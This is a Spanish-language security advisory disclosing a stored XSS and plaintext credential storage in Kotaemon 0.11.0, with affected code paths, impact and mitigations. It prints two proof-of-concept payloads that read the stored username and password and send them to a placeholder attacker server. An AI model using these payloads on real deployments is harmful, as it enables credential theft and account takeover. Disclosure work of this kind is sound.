
Divulgación pública de CVE-2025-56526 y CVE-2025-56527 — XSS almacenado mediante renderizado no saneado de contenido PDF y exposición de credenciales en texto plano en Kotaemon 0.11.0. Incluye análisis técnico completo, PoC, evaluación de impacto y cronograma de divulgación responsable.
El Cross-Site Scripting almacenado en el Panel de Información de Kotaemon se combina con el almacenamiento de credenciales en texto plano en
localStorage, lo que permite el compromiso total de la sesión a partir de una única carga de PDF malicioso.
<= 0.11.0 (incluido el commit 37cdc28)CVE-2025-56526 – XSS almacenado mediante renderizado de contenido PDF sin sanitizarCVE-2025-56527 – Almacenamiento de nombre de usuario/contraseña en texto plano en localStorage| ID de CVE | Debilidad | CWE | Impacto principal |
|---|---|---|---|
| CVE-2025-56526 | XSS almacenado mediante HTML derivado de PDF | CWE-79 | Ejecución arbitraria de JavaScript, exfiltración de datos |
| CVE-2025-56527 | Almacenamiento de credenciales en texto plano | CWE-922 |
Los resultados de la extracción de PDF (texto, marcado de tablas, metadatos de imágenes) se inyectan en el DOM sin escapar. Por lo tanto, un PDF malicioso puede incluir HTML/JS arbitrario que se ejecuta cada vez que el Panel de Información o las vistas de Razonamiento renderizan retrieved_content.
Las rutas de código afectadas incluyen:
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (renderizado de table / image)libs/ktem/ktem/reasoning/simple.py y libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStoragelibs/ktem/ktem/pages/login.py, junto con libs/ktem/ktem/assets/js/main.js, almacena y recupera credenciales sin procesar directamente desde localStorage:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
Cualquier JavaScript ejecutado a través del vector XSS puede leer inmediatamente estos valores, lo que resulta en el robo garantizado de credenciales y en la toma de control persistente de la cuenta.
alt de una imagen o de un objeto de texto): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username/password en texto plano quedan expuestos a cualquier script inyectado.Kotaemon se implementa a menudo en entornos locales o empresariales donde los usuarios cargan documentos internos sensibles. Debido a que el contenido derivado de PDF se inserta en el DOM sin sanitización, un atacante puede disfrazar un payload malicioso dentro de un documento empresarial de apariencia normal.
Cuando la víctima carga y visualiza este documento, el JavaScript oculto se ejecuta automáticamente, robando las credenciales de localStorage y exponiendo los registros de chat privados y los contenidos de los documentos.
Aunque el desencadenante parece iniciado por el usuario, esto no es un self-XSS. La causa raíz es el fallo del lado del servidor a la hora de sanitizar el HTML extraído de los archivos cargados, lo que permite XSS almacenado dentro de componentes de interfaz de confianza.
Como resultado, un único PDF malicioso puede conducir al compromiso total de la cuenta en escenarios realistas de ingeniería social.
html.escape, DOMPurify o Trusted Types para los sumideros del DOM).script-src 'self') y Trusted Types para reducir la superficie de ataque de XSS en el DOM.screenshots/)







Este aviso público sigue las prácticas estándar de divulgación responsable de la industria:
Los usuarios de Kotaemon (<= 0.11.0) deberían considerar lo siguiente hasta que esté disponible una corrección de seguridad:
[email protected]| Divulgación de credenciales, secuestro de sesión |